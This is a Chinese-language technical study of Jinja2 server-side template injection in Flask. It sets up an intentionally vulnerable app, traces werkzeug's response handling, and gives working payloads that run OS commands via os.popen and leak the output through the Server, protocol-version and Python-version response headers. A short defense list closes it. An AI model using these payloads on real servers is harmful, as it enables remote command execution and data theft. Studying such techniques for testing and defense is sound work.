Jinja2-SSTI 新回显方式技术学习
字数 1233 2025-08-22 12:22:48
Jinja2-SSTI 新型回显方式技术研究
前言
本文深入研究了 Jinja2 模板引擎中服务器端模板注入(SSTI)的新型回显技术,通过分析 Flask 框架底层实现,探索了多种通过 HTTP 响应包回显命令执行结果的方法。
环境搭建
使用以下 Flask 应用作为测试环境:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result = render_template_string(template)
print(result)
if result != None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
HTTP 响应包生成过程分析
请求处理流程
process_request_thread(socketserver.py:683) - 处理请求的线程入口run(threading.py:953) - 线程运行_bootstrap_inner(threading.py:1016) - 线程内部引导_bootstrap(threading.py:973) - 线程引导
关键方法分析:
def process_request_thread(self, request, client_address):
try:
self.finish_request(request, client_address)
except Exception:
self.handle_error(request, client_address)
finally:
self.shutdown_request(request)
请求处理核心方法
finish_request方法实例化RequestHandlerClass:
def finish_request(self, request, client_address):
self.RequestHandlerClass(request, client_address, self)
RequestHandlerClass初始化时调用handle()方法:
def __init__(self, request, client_address, server):
self.request = request
self.client_address = client_address
self.server = server
self.setup()
try:
self.handle()
finally:
self.finish()
handle_one_request方法解析请求:
def handle_one_request(self):
self.raw_requestline = self.rfile.readline(65537)
if len(self.raw_requestline) > 65536:
self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)
return
if not self.raw_requestline:
self.close_connection = True
return
if not self.parse_request():
return
mname = 'do_' + self.command
if not hasattr(self, mname):
self.send_error(HTTPStatus.NOT_IMPLEMENTED)
return
method = getattr(self, mname)
method()
self.wfile.flush()
回显技术实现
1. 修改 protocol_version 回显
通过修改 WSGIRequestHandler 的 protocol_version 属性实现回显:
{{ lipsum.__globals__.__builtins__.setattr(
lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,
"protocol_version",
lipsum.__globals__.__builtins__.__import__('os').popen('echo success').read()
)}}
2. 修改 Server 头回显
通过修改 server_version 属性实现 Server 头回显:
{{ lipsum.__globals__.__builtins__.setattr(
lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,
"server_version",
lipsum.__globals__.__builtins__.__import__('os').popen('echo success').read()
)}}
3. 修改 Python 版本信息回显
通过修改 sys_version 属性实现 Python 版本信息回显:
{{ lipsum.__globals__.__builtins__.setattr(
lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,
"sys_version",
lipsum.__globals__.__builtins__.__import__('os').popen('echo success2').read()
)}}
技术原理
- 模块获取:通过
sys.modules获取werkzeug.serving模块 - 对象访问:访问
WSGIRequestHandler类 - 属性修改:使用
setattr修改关键属性值 - 命令执行:通过
os.popen执行系统命令并获取输出
关键点总结
- 利用
lipsum或其他内置对象的__globals__属性访问系统模块 - 通过
__spec__.__init__.__globals__.sys.modules获取系统模块 - 定位到
werkzeug.serving.WSGIRequestHandler类 - 修改该类中的以下属性实现回显:
protocol_versionserver_versionsys_version
防御建议
- 避免直接使用用户输入渲染模板
- 对模板变量进行严格过滤
- 使用安全的模板渲染方式
- 限制模板中可以访问的对象和方法
扩展思考
虽然文中提到尝试通过修改 500 错误页面实现回显未成功,但这种思路值得进一步探索。其他可能的回显点包括:
- 修改 Content-Type 头
- 修改 Date 头
- 修改其他自定义响应头
这些技术为 Jinja2 SSTI 漏洞利用提供了新的思路,特别是在常规回显方式被限制的情况下。